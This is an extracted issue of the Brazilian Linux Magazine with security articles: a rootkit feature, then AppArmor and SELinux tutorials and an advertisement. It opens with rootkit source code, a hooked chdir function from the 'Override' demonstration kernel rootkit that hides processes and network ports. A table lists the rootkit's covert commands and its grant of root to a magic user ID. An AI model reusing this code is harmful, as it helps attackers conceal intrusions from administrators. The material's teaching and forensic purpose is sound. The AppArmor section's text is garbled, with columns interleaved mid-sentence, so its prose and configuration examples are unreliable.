01 int my_chdir (char *path) { 02 char *ptr=NULL; 03 int pid; 04 int i; 05 if (strncmp (PROC_STRING, path, strlen (PROC_STRING)) == 0) { 06 ptr = path + strlen (PROC_STRING); 07 pid = my_atoi (ptr); 08 if (pid > 0) { 09 for (i=0; i<=MAX_HIDE_PIDS; i++) { 10 if (hide_pids[i] != 0) { 11 if (pid == hide_pids[i]) { 12 return -1; 13 } 14 } 15 } 16 } 17 } 18 if (strncmp (CHDIR_HIDE_PID, path, strlen(CHDIR_HIDE_PID)) == 0) { 19 ptr = (char *)path + strlen (CHDIR_HIDE_PID); 20 return hide_pid(my_atoi(ptr)); 21 } else if (strncmp (CHDIR_UNHIDE_PID, path, strlen(CHDIR_UNHIDE_PID)) == 0) { 22 ptr = (char *)path + strlen (CHDIR_UNHIDE_PID); 23 return unhide_pid(my_atoi(ptr)); 24 } else if (strncmp (CHDIR_SHOW_PIDS, path, strlen(CHDIR_SHOW_PIDS)) == 0) { 25 char pidlist[32]; 26 unsigned long mmm; 27 struct task_struct *task; 28 char *string; 29 int i; 30 31 mmm=current->mm->brk; 32 org_brk((char*)mmm+32); 33 string = (char *)mmm +2; 34 35 for (i = 0; i <= MAX_HIDE_PIDS; i++) { 36 if (hide_pids[i] != 0) { 37 task = find_task_by_pid (hide_pids[i]); 38 snprintf (pidlist, 32, “%d - %s\n”, hide_pids[i], task->comm); 39 copy_to_user (string, pidlist, strlen(pidlist)+1); 40 org_write (1, string, strlen(string)+1); 41 } 42 } 43 44 org_brk((char*)mmm); 45 return 0; 46 } else if (strncmp (CHDIR_HIDE_NET, path, strlen(CHDIR_HIDE_NET)) == 0) { 47 ptr = (char *)path + strlen (CHDIR_HIDE_NET); 48 return hide_port(my_atoi(ptr)); 49 } else if (strncmp (CHDIR_UNHIDE_NET, path, strlen(CHDIR_UNHIDE_NET)) == 0) { 50 ptr = (char *)path + strlen (CHDIR_UNHIDE_NET); 51 return unhide_port(my_atoi(ptr)); 52 } 53 return org_chdir (path); 54 }

O rootkit Override

O projeto Override [1], criado pelo hacker Newroot e eu, combina as técnicas discutidas até aqui e implementa um rootkit demonstrativo para o kernel 2.6. Ele oculta qualquer ID de processo que você queira e automaticamente oculta seus processos-filhos também. Se necessário, oculta ainda processos já ocultos, disfarça portas de rede, confere privilégios de superusuário aos processos de um usuário pré-definido e oculta todos os arquivos que comecem com algum prefixo específico. A tabela 2 mostra as modificações a chamadas de sistema necessárias para essa tarefa. O disfarce do rootkit de demonstração não é perfeito. Por exemplo, ele deixa vestígios claros de símbolos de kernel em /proc/kallsyms: é aqui que o kernel guarda todos seus símbolos. Como o autor do rootkit tem que armazenar os endereços das chamadas de sistema originais, nós encontramos símbolos como org_ e my_, assim como pelo menos uma variável para a tabela de endereços de chamadas de sistema que, no nosso caso, chama-se sys_call_table.

Escopo

Além de modificar chamadas de sistema, um atacante pode usar outras técnicas para empregar rootkits. Ele pode, por exemplo, entrar na camada do sistema de arquivos virtual (Virtual File System, ou VFS) ou manipular código do kernel diretamente. Kits do segundo tipo podem funcionar até mesmo sem suporte a módulos do kernel, mas são mais difíceis de implementar. Além disso, a interface /dev/kmem, usada com este propósito, foi descontinuada no kernel 2.6.14. Se você se interessar em fechar esse buraco em sistemas mais antigos,

http://supertuxbr.blogspot.com 32

http://www.linuxmagazine.com.br


Rootkits | CAPA

Técnicas do rootkit Override Ocultar processo Revelar processo Mostrar processos ocultos Ocultar porta de rede

chdir chdir chdir chdir

/dev/grid-hide-pid-process ID /dev/grid-unhide-pid-process ID /dev/grid-show-pids /dev/grid-hide-port-Port

Revelar porta de rede

chdir /dev/grid-unhide-port-Port

Privilégios de superusuário

Roda um programa arbitrário como usuário com Magic User ID

uma ferramenta como o Kernel Guard certamente ajudará. A vida do invasor começa a ficar realmente difícil quando o kernel não tem suporte a módulos. Se você optar por manter essa importante função em seu kernel, o Kernel Guard é uma ajuda simples, mas eficiente. Ele consiste de um rootkit benigno que modifica as duas chamadas de sistema responsáveis por carregar e descarregar módulos do kernel. Após carregar o Kernel Guard, ninguém (incluindo usuários com privilégios de superusuário) poderá carregar ou descarregar módulos de kernel.

[1]

Conclusões

Programas que utilizam checksums, como o Aide ou o Tripwire, não ajudam na batalha contra os rootkits de kernel. Os rootkits manipulam as chamadas de sistema diretamente, ou então em outras partes do kernel, o que lhes confere a capacidade de enganar qualquer programa do espaço do usuário. Você precisa saber exatamente como o rootkit funciona para conseguir encontrar rastros de sabotagem. Os alvos a serem examinados e procurados pelos especialistas em computação forense dependem totalmente do rootkit que estiverem caçando. ■

O Autor Amir Alsbih estuda Ciência da Computação na Universidade de Freiburg. Sua principal área de pesquisa é a segurança em TI. Amir freqüentemente dá palestras para a polícia, o Escritório Governamental de Investigação Criminal e investigadores particulares.

Mais Informações [1] Amir Alsbih, Override Rootkit e Kernel Guard: http://www.informatik.unifreiburg.de/~alsbiha/code.htm [2] Halflife, “Abuse of the Linux Kernel for fun and profit”: http://www. phrack.org/phrack/50/P50-05 [3] Palmers, “Advances in Kernel Hacking”: http://www.phrack. org/phrack/58/p58-0x06 [4] S0ftpr0ject: http://www. s0ftpj.org/en/tools.html [5] Saint Jude: http://sourceforge. net/projects/stjude [6] Sebek: http://www.honeynet. org/tools/sebek/ [7] Adore-NG: http://packetstorm. linuxsecurity.com [8] Strace: http://www.liacs. nl/~wichert/strace

Tabela 2: Chamadas de sistema comprometidas Modificação de chamada de sistema

Resultado

Chdir

Switch oculto para esconder processos e portas de rede. Também engana caçadores de rootkits que buscam vestígios de processos ocultos no sistema de arquivos proc.

Getuid e Geteuid

O kernel dá privilégios de superusuário aos processos pertencentes a usuários com Magic UID

Getdents64

Apaga arquivos individuais da listagem do diretório. Entretanto, se você souber os nomes, ainda poderá abrir os arquivos e entrar em diretórios ocultos

Read

Bloqueia a leitura através de portas ocultas

Fork e Clone

Automaticamente oculta processos-filhos que pertençam a um processo oculto

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

33


Barrando intrusos com o AppArmor

CAPA

Armadura segura Quando um agressor consegue comprometer um sistema, ele ganha os privilégios da vítima. O AppArmor defende o ataque reduzindo permissões potenciais de cada aplicativo para um mínimo. por Ralf Spenneberg

O

AppArmor [1] é um sistema de proteção fácil de configurar, mas efetivo, segundo a explicação da Novell. A empresa vê o aplicativo como um concorrente do SELinux, que tem sido parte integrante do Suse já há um tempo, embora sem as políticas necessárias para rodá-lo. Enquanto o SELinux é comparativamente difícil de configurar, pois implementa abrangentes controles mandatórios de acesso (ou MACs - Mandatory Access Control), o AppArmor foca em restringir o alcance de aplicativos individuais. Programas com bugs são um fato lamentável da vida. Aplicativos web, em especial, sofrem muito com isso. A maioria desses aplicativos não são escritos

Quadro 1: Immunix O AppArmor começou sua carreira como um produto comercial da empresa Immunix, embora fosse chamado de Subdomain na época. A Novell adquiriu a Immunix em meados de 2005, renomeou o aplicativo para AppArmor e licenciou o código sob a GPL em 2006. A Immunix era uma bem conhecida empresa de soluções de segurança, mais especificamente devido ao compilador Stackguard, um GCC modificado que protege aplicativos contra ataques do tipo estouro de buffer. A Immunix também estava profundamente envolvida no desenvolvimento da interface LSM (Linux Security Modules) para o kernel 2.6. Além do AppArmor, alguns sistemas de segurança como o LIDS (Linux Intrusion Detection System) e o concorrente SELinux, usam a interface LSM para injetar controles onde eles são necessários no kernel. Devido ao LSM, patches não são necessários; contudo a arquitetura LSM ainda é polêmica em alguns projetos.

por especialistas em segurança, embora possam ser acessados publicamente na web, o que faz deles um alvo fácil para agressores. Se um agressor encontra um erro de programação em um aplicativo, ele pode explorar esse erro e, fatalmente, ganhar acesso ao sistema. Mesmo se o intruso comprometer apenas uma conta de usuário comum, isso ainda é perigoso. A conta dá ao hacker acesso direto às ferramentas instaladas localmente. Uma única vulnerabilidade em um programa que precise de Set UID root (privilégios de root temporários) já basta para o agressor tomar as rédeas do sistema. Tradicionalmente, administradores e webmasters não têm tido alternativa a não ser manter os sistemas atualizados e remover qualquer peso extra, ou seja, instalar apenas os aplicativos que serão realmente necessários. Mas nada disso protege contra a exploração de vulnerabilidades não corrigidas (zero day exploits), ou seja, que ainda são oficialmente desconhecidas.

Como funciona

O AppArmor foi feito para ajudar administradores a sair dessa armadilha. O sistema monitora o modo como processos acessam arquivos. Ele distingue entre acesso de leitura ou escrita e também monitora o uso de privilégios root. Dependendo do kernel, o Linux pode distinguir entre até 29 recursos (capabilities; saiba mais com o comando man capabilities).

Monika Leon – www.sxc.hu

Por exemplo, o CAP_KILL se refere à habilidade de finalizar processos; já o CAP_NET_RAW permite que o root crie pacotes de rede aleatórios. O comando ping precisa dessa habilidade, por exemplo. A idéia de controlar acessos e ações através de um programa, no lugar do sistema de permissões, não é nova. Em sistemas FreeBSD e Linux, o Systrace [7], de Niels Provos, implementa esse princípio. Mas enquanto o Systrace monitora chamadas do sistema – como o nome indica –, o AppArmor usa o LSM Hooks (veja o quadro 1: Immunix).

Implementação

A Novell inclui o AppArmor com a versão comercial do Suse Linux 10 e o SLES 9 SP3 (Suse Linux Enterprise Server 9, Service Pack 3). A versão GPL está incluída no Suse 10.1 OSS. É possível instalar o AppArmor no Suse 10.0 OSS, embora isso exija um patch demorado no kernel. Conforme as informações das listas de email [2], o Ubuntu e o Fedora vão suportar o AppArmor no futuro. No momento da conclusão deste artigo, a interface do aplicativo exigia o Yast 2 para funcionar. A Novell tem alguns pacotes prontos no Novell Forge [3]. Os RPMs para o Suse 10.1 OSS funcionam no Suse 10.0. Um kernel pronto para o AppArmor também é necessário. O melhor método é usar um pacote original do repositório do kernel [4] – por exemplo o 2.6.15 – em combi-

http://supertuxbr.blogspot.com 34

http://www.linuxmagazine.com.br


AppArmor | CAPA

nação com os patches aa_2.0-2.6.15.patch e aa_namespace_sem-2.6.15.patch [5]. Ao executar o comando make oldconfig basta apenas seguir com [Enter] para aceitar os valores padrão. Os passos específicos são mostrados no exemplo 1. Em patches mais novos, a Novell vai renomear a estrutura do kernel no Security FS para /sys/kernel/security/apparmor. O Securiy FS tem sido parte do kernel padrão desde a versão 2.6.14.

Iniciando

O componente do AppArmor no espaço do usuário inicia o serviço do sistema e associa uma política. Seu script init manteve o antigo nome (“subdomain”): Figura 1 O Squidfire com as tentativas de acesso logadas pelo Squid. Para restringir o acesso a esse aplicativo /etc/init.d/subdomain start carrega e ativa web, o Apache roda o mod_change_hat para habilitar a integração com o AppArmor. Desta maneira, o o módulo do kernel AppArmor. sistema de segurança sabe qual é o aplicativo web rodando no momento. Para permitir que o módulo monitore um aplicativo, ele precisa ser ativado antes do aplicativo que você quer proteger. Esse mina que o AppArmor não vai monitorar As linhas de 4 a 10 se referem a alé o motivo pelo qual faz sentido lançar o o novo processo. Deny impede que o guns arquivos include. As linhas de 12 a AppArmor no boot. Além disso, o aplica- programa chamado seja executado. 18 listam os caminhos que o Kpdf pode tivo precisa de um arquivo de perfil em acessar. Um r após o caminho ou nome /etc/subdomain.d (as futuras versões vão de arquivo indica permissão de leitura, enquanto rw permite leitura e escrita. ➧ usar o diretório /etc/apparmor.d). A Novell fornece perfis para todo um Para facilitar o processo de criação e punhado de aplicativos críticos, incluin- administração de perfis, o AppArmor Exemplo 1: Etapas do servidores como o Apache (em modo usa arquivos de inclusão. Eles são imPrefork) e OpenSSH, para ferramentas S- plementados como bibliotecas de absda configuração Bit como o ping e o man, clientes como tração e contêm regras para operações 01 tar xjvf linux-2.6.15.tar.bz2 Firefox e o Real Player, visualizadores padrão legadas. Por exemplo, #include 02 cd linux-2.6.15 como o Acrobat Reader e até para servi- <abstractions/kde> permite o acesso a 03 patch -p1<../aa_2.0-2.6.15.patch 04 patch -p1<.. arquivos de configuração e funções do ços como o Klogd e o Syslogd. 05 /aa_namespace_sem-2.6.15.patch KDE. Outros perfis permitem a usuá06 make oldconfig rios executarem um terminal ou uma 07 make bzImage resolução de nome. 08 make modules Se você precisar criar perfis extras para os Após concluir o assistente com êxito, 09 make modules_install 10 make install aplicativos, o assistente de perfil do Yast vale a pena executar novamente o aplica11 rmdir /subdomain pode ajudar a configurá-los. Ele só precisa tivo analisado e testar seu comportamento, 12 ln -s /sys/kernel/security saber o programa para o qual o perfil será agora sob a proteção do AppArmor. Se 13 /subdomain /subdomain criado. O usuário então executa o aplica- você notar que alguma função não está tivo e o usa de maneira rotineira. funcionando como deveria, talvez seja Exemplo 2: Perfil Kpdf (trecho) É importante usar todas as funções preciso rodar novamente o assistente. Nesdo aplicativo nessa etapa. Tenha certe- se caso, o assistente lê o perfil existente 01 # vim:syntax=subdomain za de que nenhum ataque ocorra nessa e o atualiza com as mudanças. 02 # Last Modified: Sun Jan 22 10:16:55 2006 03 /opt/kde3/bin/kpdf flags=(complain) { O exemplo 2 demonstra um típico fase de análise. O AppArmor mais tarde 04 #include <abstractions/authentication> vai liberar todos os recursos usados nessa perfil AppArmor para o Kpdf. Depois 05 #include <abstractions/base> etapa. É assim que ele “aprende” sobre as dos comentários para o Vim (o Suse 06 #include <abstractions/bash> funções de determinado aplicativo. possui um destacador de sintaxe para 07 #include <abstractions/gnome> Após finalizar o programa em teste, o editor Vim), o perfil começa com o 08 #include <abstractions/kde> 09 #include <abstractions/nameservice> o próximo passo é analisar os eventos caminho do Kpdf; isso especifica qual 10 #include <abstractions/user-write> registrados usando o assistente de perfil. programa a política governa. A entrada 11 Ele sugere uma ação para cada caso. Se flags=(complain) no arquivo alterna o 12 / r, o programa monitorado chama outro perfil para para o modo complain (“de 13 /etc r, aplicativo, o assistente dá as seguintes reclamação”). Nesse modo, o AppArmor 14 /etc/X11/.kstylerc.lock rw, 15 /etc/X11/.qt_plugins_3.3rc.lock rw, opções: Inherit significa que as mesmas vai alertar sobre infrações à política, mas 16 /etc/X11/.qtrc.lock rw, restrições valem para o novo aplicativo. sem evitar que os eventos ocorram. A 17 /etc/exports r, Profile indica que o programa chamado opção flags=(enforce) diz ao AppArmor 18 /etc/rpc r, tem seu próprio perfil. Unconfined deter- para restringir as ações do Kpdf.

Modelos práticos

Novos perfis

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

35


CAPA | AppArmor

a hierarquia é de apenas uma camada: subperfis não podem ter outro subperfil.

Trocando chapéus

AppArmor para permitir todas as ações desse processo e para logar essas ações para uma análise posterior. Após trabalhar com o aplicativo em seu navegador por alguns minutos, clique no botão Scan system log for AppArmor events no assistente (figura 2), para completar a fase de análise. Se você estiver analisando um aplicativo que pode “trocar de chapéu”, o assistente vai sugerir a criação de um novo subperfil ou “chapéu”.

O Yast pode gerenciar subperfis com sua interface gráfica. A ferramenta de linha de comando é mais poderosa, mas a do Yast é mais simples. A seção seguinte se refere ao aplicativo Figura 2 Clique em Scan system log e o assistente vai fazer sugestões web Squidfire (figura 1, link [6]) Cuidado ao responder às questões do adequadas ao perfil. sendo configurado na versão assistente de perfil, particularmente se Yast do AppArmor. o aplicativo principal chamar prograO Squidfire é um script PHP que tor- mas externos. Faz sentido permitir que O AppArmor é particularmente útil na os logs do Squid “buscáveis”. O perfil essas ferramentas externas herdem o em servidores web. Diferentemente do AppArmor que se encarrega dele, usr. perfil do processo principal. Ao acresde MACs populares como LIDS, GR sbin.httpd2-prefork, nega ao Apache (con- centar imagens e arquivos CSS, o perfil Security, RSBAC ou SELinux, ele pode seqüentemente ao Squidfire) qualquer padrão do Apache é uma boa escolha. monitorar hosts virtuais com perfis dife- acesso aos logs, como a seguinte men- Depois de você responder algumas perrentes em um servidor web. O servidor sagem de erro (em /var/log/audit/audit. guntas, o assistente de perfil parte para Apache pode alternar perfis dependendo log) pode confirmar: a criação de um subperfil em usr.sbin. httpd2-prefork (o exemplo 3 contém um do diretório atual. A Novell chama essa função de change_hat (que pode ser vista type=APPARMOR trecho desse perfil). como uma referência humorada à con- ➥ msg=audit (1143872666.069:205): Por padrão, a URI é usada para distin➥ REJECTING r access to /var/log/squid guir entre diferentes subperfis do Apacorrência) ou “trocar de chapéu”. ➥ (httpd2-prefork (14820) Sem alguma ajuda do Apache, o ➥ profile /usr/sbin/httpd2-prefork che (veja a linha 1 do exemplo 3). Esse AppArmor não pode se certificar do estado ➥ active DEFAULT_URI) exemplo permite que o aplicativo web do servidor. Para isso, a Novell fornece /squid/index.php use o Bash leia alguns Precisamos de um subperfil para o arquivos do sistema, use componentes do o módulo mod_change_hat (o nome será mudado para mod_apparmor). O AppAr- Squidfire e, ao mesmo tempo, liberar Squidfire (linhas 10 a 14) e, finalmente, mor permite que aplicativos mudem o acesso exclusivamente para os logs avaliem os logs de acesso do Apache e seu contexto de segurança, contudo, o do Squid. Isso previne que usuários do Squid (linhas 17 a 19). servidor Apache é o único que imple- Squidfire usem a ferramenta em arquiEm uma inspeção mais de perto, o mentou esse recurso, até a conclusão vos não-Squid. De novo, o assistente de subperfil na verdade mostra o quanto deste artigo. O perfil principal de um perfis no Yast irá cuidar do subperfil. algumas das ações do aplicativo são aplicativo pode ter diversos sub-perfis Quando rodamos o assistente, escolha perigosas. O subperfil obviamente usa (chamados de hats ou “chapéus”). Mas o Apache como o aplicativo. Isso diz ao arquivos com nomes previsíveis abaixo de /tmp (linha 15) e roda ferramentas externas do shell (o Bash, linha 5, e o Tail, na linha 16). Exemplo 3: Subperfil do Apache (trecho)

Limites estritos

Servidores web

01 ^/squid/index.php { 02 #include <abstractions/bash> 03 #include <abstractions/nameservice> 04 05 /bin/bash ixr, 06 /dev/tty rw, 07 /etc/ld.so.cache r, 08 /lib/ld-2.3.90.so ixr, 09 /lib/lib*so* r, 10 /srv/www/htdocs/squid/cache.inc.php r, 11 /srv/www/htdocs/squid/config.inc.php r, 12 /srv/www/htdocs/squid/default_config.inc.php r, 13 /srv/www/htdocs/squid/index.php r, 14 /srv/www/htdocs/squid/parse_squid_row.inc.php r, 15 /tmp/access.log_1.3.0.inc r, 16 /usr/bin/tail ixr, 17 /var/log/apache2/access_log w, 18 /var/log/squid r, 19 /var/log/squid/access.log r, }

Distinguindo diretórios O módulo mod_change_hat permite a organização de subperfis para hosts virtuais através das diretivas Location e Directory. Administradores podem informar ao módulo qual método eles preferem usando as diretivas ImmDefaultHatName e ImmHatName. Esse prefixo “Imm” é um resquício das raízes Immunix. Nas versões mais novas, o módulo foi renomeado para mod_apparmor e os nomes passarão a ser AAHatName e AADefaultHatName. O ImmDefaultHatName (ou AADefaultHatName) seleciona um subperfil padrão

http://supertuxbr.blogspot.com 36

http://www.linuxmagazine.com.br


AppArmor | CAPA

Conclusão

Mais Informações

para cada servidor virtual. Além disso, subperfis podem ser designados para O AppArmor tranca aplicativos críticos áreas individuais usando as diretivas Di- em uma área isolada, restringindo o acesrectory ou Location. As seguintes linhas so a arquivos e comandos específicos. na configuração do Apache designariam Se o aplicativo tiver uma vulnerabilidaum “chapéu” para o Squidfire. de que permita a agressores acessarem um shell e rodarem comandos com <Directory “/srv/www/htdocs/squid”> as credenciais da vítima, o AppArmor ImmHatName squidfire entra em cena. O aplicativo não pode </Directory> sair de sua jaula. Embora isso não elimine a vulnerabilidade, o intruso não Se você preferir, é possível chamar o vai poder explorar a brecha, o que gasubperfil ^squidfire em vez de ^squid/in- rante ao administrador de sistemas um dex.php (linha 1 do exemplo 3). O AppArmor isolamento do problema até que uma dá aos administradores um novo método correção esteja disponível. para intensificar a segurança, especialEsse princípio protege a máquina mente em ambientes de hospedagem contra os zero-day exploits. Isso é escompartilhada, em que vários clientes pecialmente útil para aplicativos que compartilham um servidor web. Desig- são acessíveis na Internet ou progranar um chapéu específico para cada host mas que usam fontes de dados nãovirtual e restringir o acesso a arquivos de confiáveis (emails, imagens, vídeos, outro cliente diminuiria o risco de brechas documentos). no aplicativo de alguém comprometerem Aplicativos com a capacidade de todo o servidor. “mudar de chapéu” podem inclusive Assim, é uma boa idéia checar manu- fazer isso dinamicamente, aplicando almente as políticas que fazem isso ou diferentes perfis quando a situação pede. criá-las manualmente a partir do zero, em Isso acrescenta a habilidade de definir vez de depender do modo complain. Essa perfis para aplicativos web específicos é uma tarefa considerada complexa, mas no servidor web, com a aplicação de que não deve ser difícil para a maioria regras específicas de acordo com a URI, host virtual ou diretório. ■ dos administradores.

[1] AppArmor: http://www.opensuse.org/AppArmor [2] Lista de emails do AppArmor: http://forge.novell.com/mailman/ listinfo/apparmor-general [3] RPMs do AppArmor no Novell Forge: http://forge.novell.com/modules/ xfmod/project/?apparmor [4] Kernel :http://www.kernel.org [5] Patches AppArmor para o kernel (janeiro):

http://forgeftp.novell.com/ apparmor/Development%20 -%20January%20Snapshot/ [6] Squidfire: http://squidfire.sourceforge.net [7] Systrace: http://www.systrace.org

O Autor Ralf Spenneberg é consultor e autor Unix/ Linux freelancer. Sua empresa, a OpenSource Training, oferece serviços de consultoria e treinamento. Autor de livros sobre detecção de intrusão e VPNs, sua última obra é o livro Linux Firewalls with Iptables & Co.

Os Thin Clients da ThinNetworks

Melhor relação custo benefício do mercado e funcionalidades exclusivas O TC-NET revoluciona o mercado de ThinClients ao apresentar um sistema operacional baseado em Linux e funcionalidades exclusivas, o TC-OS. Compatível com a maioria dos servidores de terminal existentes, essa solução agrega redução de custos de aquisição e atualização, facilidade de instalação e manutenção, maior estabilidade e confiabilidade, maior segurança, baixo consumo de energia e tamanho compacto.

10100101010 101010101010101010101

10100101010 101010101010101010101

1100110101100101101010001011

1100110101100101101010001011

101001010101010101010

O sistema Operacional TC-OS Recursos de administração centralizados; Servidor VNC para permitir o controle remoto de cada ThinClient; Disponível com Flash (64mb ou 128mb) ou na versão PXE para uso com LTSP; Clientes para CITRIX-ICA, Microsoft RDP 5.1, XDMCP e VNC e Tarantella; Fone: (61) 3366-1333 Skype: ThinNetworks vendas@thinnet.com.br 37 www.thinnetworks.com.br

http://supertuxbr.blogspot.com Diversos aplicativos para uso local (navegador, Java, Skype, protetor de#22tela e outros). Linux Magazine | Agosto de 2006


CAPA

O SELinux fornece um forte sistema de controle mandatório de acesso para o Linux. Isso é, se você estiver pronto para todos os detalhes. por Ralf Spenneberg

Acesso sob controle

SELinux

S

ELinux é uma adaptação do kernel Linux voltada para segurança e desenvolvida sob os auspícios da agência nacional de segurança dos EUA (NSA). De acordo com a NSA, o SELinux funciona forçando “políticas de controle de acesso que confinam programas do usuário e servidores de sistema à quantidade mínima de privilégios necessários para que cumpram suas tarefas.” A segurança de um sistema Linux comum é baseada num conceito conhecido como Controle Discreto de Acesso (Discretionary Access Control, ou DAC). Num sistema DAC, o usuário recebe direito de acesso a um recurso (como um arquivo,

Figura 1

por exemplo) baseado nas credenciais recursos e modificar permissões. O SELido usuário, e os usuários têm o direito nux também mantém controle sobre os de modificar as permissões de todos os privilégios conferidos aos processos. Aos recursos que eles controlam. Esse design processos não é permitido ter privilégios dá aos atacantes uma forma de invadir um de que estes não precisem. sistema. Se o superusuário abrir o AdoSe o SELinux for implementado corbe Reader para acessar um arquivo PDF retamente, um invasor que ganhe acesso de uma fonte não confiável, o atacante a um sistema Linux ficará bastante restripoderia explorar uma vulnerabilidade to em suas ações. Como veremos neste para iniciar um shell de superusuário, artigo, o SELinux fornece uma plataapesar de shells de superusuário nada forma de segurança poderosa e versátil terem a ver com o que o Adobe Reader – se você estiver disposto a enfrentar sua deve fazer. complexidade. O SELinux e outros sistemas semelhantes de segurança substituem o DAC por uma alternativa muito mais segura conhecida como Controle Mandatório de Acesso (Mandatory Access Con- O SELinux usa o contexto de segurantrol, ou MAC). Um siste- ça como critério central de acesso. O ma MAC permite que o contexto consiste da conta do usuário administrador do sistema SELinux (não confundir com o usuário defina políticas que for- Unix), junto com o papel e o tipo do usuneçam um controle gra- ário. O SELinux armazena o contexto de O SELinux associa todos os arquivos e processos a um contexto de nular sobre as permissões segurança para arquivos diretamente no segurança. O contexto e a política decidem que tipo de acesso é do usuário para acessar sistema de arquivos, embora isso atualpermitido.

Contexto de segurança

http://supertuxbr.blogspot.com 38

http://www.linuxmagazine.com.br


SELinux | CAPA

mente só funcione com Ext3 e XFS. Há patches disponíveis para ReiserFS, mas JFS ainda não é suportado. Executar ls -Z apresenta o contexto de segurança de um arquivo: a figura 1 mostra user_u:object_r:paper_t. O usuário e grupo Unix são spenneb, enquanto o SELinux identifica o usuário como user_u; o papel do usuário é object_r, e o tipo é paper_t. Os sufixos nesses nomes indicam o componente de contexto. Os processos também são associados a um contexto de segurança, que você pode conferir com um ps -Z (veja a figura 1).

fica em outro domínio, uma mudança de domínio ocorre quando o processo é iniciado. Uma regra de permissão e outra de transição de tipo são necessárias para que isso funcione: allow { dominio_do_usuario } ➥ emacs_t:process transition; type_transition { dominio_do_usuario } ➥ emacs_exec_t:process emacs_t;

A regra allow permite que todos os processos que pertencem a um domínio da lista dominio_do_usuario iniciem processos no domínio emacs_t. A regra type_ transition, em seguida, especifica que os processos chamados serão associados ao Um dos princípios do SELinux é que domínio emacs_t em vez de herdarem o cada processo é associado a um domínio, domínio do usuário ou processo que os e cada objeto a um tipo. O SELinux ini- chamou, caso o programa seja do tipo cia negando todos os tipos de acesso. Até emacs_exec_t. E isso só se aplica se o usuáo acesso do domínio exemplo_t ao tipo rio ou processo que os chamou pertencer exemplo_t é proibido. Cada ação tem que a dominio_do_usuario. ser explicitamente permitida. A política Para deixar o SELinux utilizar essas pode ser assim para o domínio emacs_t: regras em um sistema, todos os arquivos têm que ser associados a um contexto de allow emacs_t paper_t:file segurança, em um processo chamado de {create ioctl read getattr lock write rotulação. *.fc ou arquivos de contexto ➥ append setattr}; de arquivos especificam quais arquivos recebem quais rótulos: Isso permite que os processos do domínio emacs_t realizem em objetos /usr/bin/emacs(.*) -do tipo paper_t as operações contidas ➥ system_u:object_r:emacs_exec_t entre as chaves. A classe de objeto :file Quando um usuário em algum luespecifica que esses objetos devem ser gar do sistema cria um arquivo que casa arquivos normais. com o padrão, o SELinux o associa ao contexto do tipo emacs_exec_t, conforme especificado.

Negar tudo

Mudando de domínio

Se um usuário normal rodar o editor Emacs, o processo não usará automaticamente o domínio emacs_t. Na verdade, são necessárias permissões para que se mude de domínio, e esse processo é automatizado. Para permitir que isso ocorra, uma regra primeiro define um ponto de entrada para o novo domínio do binário do editor Emacs. O arquivo do programa precisa ser do tipo emacs_exec_t (como uma etiqueta de sistema de arquivos), e o SELinux precisa da seguinte regra: allow emacs_t emacs_exec_t:file entrypoint;

O SELinux agora permitirá que executáveis do tipo emacs_exec_t entrem no domínio emacs_t quando forem iniciados. Até agora tudo bem, mas o SELinux ainda tem que permitir que o executável realize essa ação. Como ele

Complexidade

Esse exemplo demonstra claramente a enorme granularidade do SELinux, e sua conseqüente complexidade. Um administrador temporário não tem a mínima chance de se manter atualizado. Uma política do SELinux atinge facilmente um tamanho de 6MB – somente regras, e em ASCII. Os desen-

volvedores já vêm tentando há algum tempo fazer algo em relação à questão da complexidade. A distribuição Fedora Core é uma das líderes em SELinux. Até a versão 4, o Fedora tinha duas políticas: Strict e Targeted. Enquanto a política Strict realmente implementava um sistema MAC para cada processo do sistema Linux, a política Targeted simplesmente inspecionava uns poucos serviços que lidam com dados potencialmente críticos – principalmente serviços de rede. Os processos restantes do Fedora Core eram executados num domínio unconfined_t, que não é exatamente como um sistema sem o SELinux. Os processos do domínio unconfined_t têm permissão para mais ou menos todos os tipos de acesso, já que só os privilégios DAC normais do sistema ficam em atividade. A abordagem do SELinux neste modo é semelhante à do AppArmor. Entretanto, o SELinux do Fedora Core 4 ainda precisa de 2,5MB de políticas para suportar o grau necessário de granulosidade.

Gerenciamento

A estrutura monolítica da estrutura das políticas as torna difíceis de gerenciar. Mudanças e adições à política sempre necessitam de modificações no código-fonte, seguidas da compilação do binário. Obviamente, esse tipo de mudança é somente para administradores de sistemas. Para facilitar a vida do administrador, as políticas podem conter variáveis booleanas cujos valores podem mudar durante a execução. Por exemplo, a política Targeted do Fedora Core 4 tem 95 variáveis que definem se o SELinux deve ou não monitorar um serviço e como isso deve acontecer. A variável httpd_can_network_ connect, por exemplo, especifica se o servidor web tem permissão para estabelecer conexões de rede independentemente – com um servidor de banco de dados,

IDEs Muitas GUIs estão disponíveis para gerenciar o SELinux. O Slide (figura 3) é a primeira delas para a política de referência. A Tresys Technology implementou a IDE como um plugin para o Eclipse que suporta marcação de sintaxe, assistentes e o recurso de auto-completar rótulos pré-definidos na interface do módulo. A instalação necessita do Eclipse SDK 3.1, da política de referência, e das ferramentas SE (SE Tools). A forma mais fácil de instalar o Slide é através de um pacote RPM ou diretamente usando o Eclipse a partir da página [8]. Depois da instalação, você deve ter uma IDE simples, organizada e com poucos pontos fracos, mas que torna o trabalho muito mais fácil, apesar da versão ainda inicial 0.1.0.

http://supertuxbr.blogspot.com Linux Magazine #22 | Agosto de 2006

39


CAPA | SELinux

Múltiplos níveis Embora a segurança em multinível (Multi Level Security, ou MLS) seja uma das características do design do núcleo do SELinux, ela foi marcada como experimental durante muitos meses. A política de referência é a primeira política MLS, e suporta o modelo Bell-La-Padula, inventado em 1973 para ajudar a manter segredos militares. Basicamente, o modelo confere escopos e capacidades a pessoas, enquanto objetos têm escopo e ranking. O modelo garante que um objeto dentro de seu próprio escopo somente pode ser lido por pessoas com capacidade idêntica ou superior ao ranking deste. Objetos somente podem ser escritos se a pessoa tiver um ranking idêntico ou menor que sua capacidade. Quando uma pessoa com ranking maior cria um arquivo, este só pode ser lido por pessoas de patente igual ou superior, para evitar que dados importantes caiam em mãos erradas. Para implementar o MLS, o contexto de segurança tem dois parâmetros adicionais: os níveis MLS de s0 a s15 e os valores MLS de c0 a c255.

Módulos novos

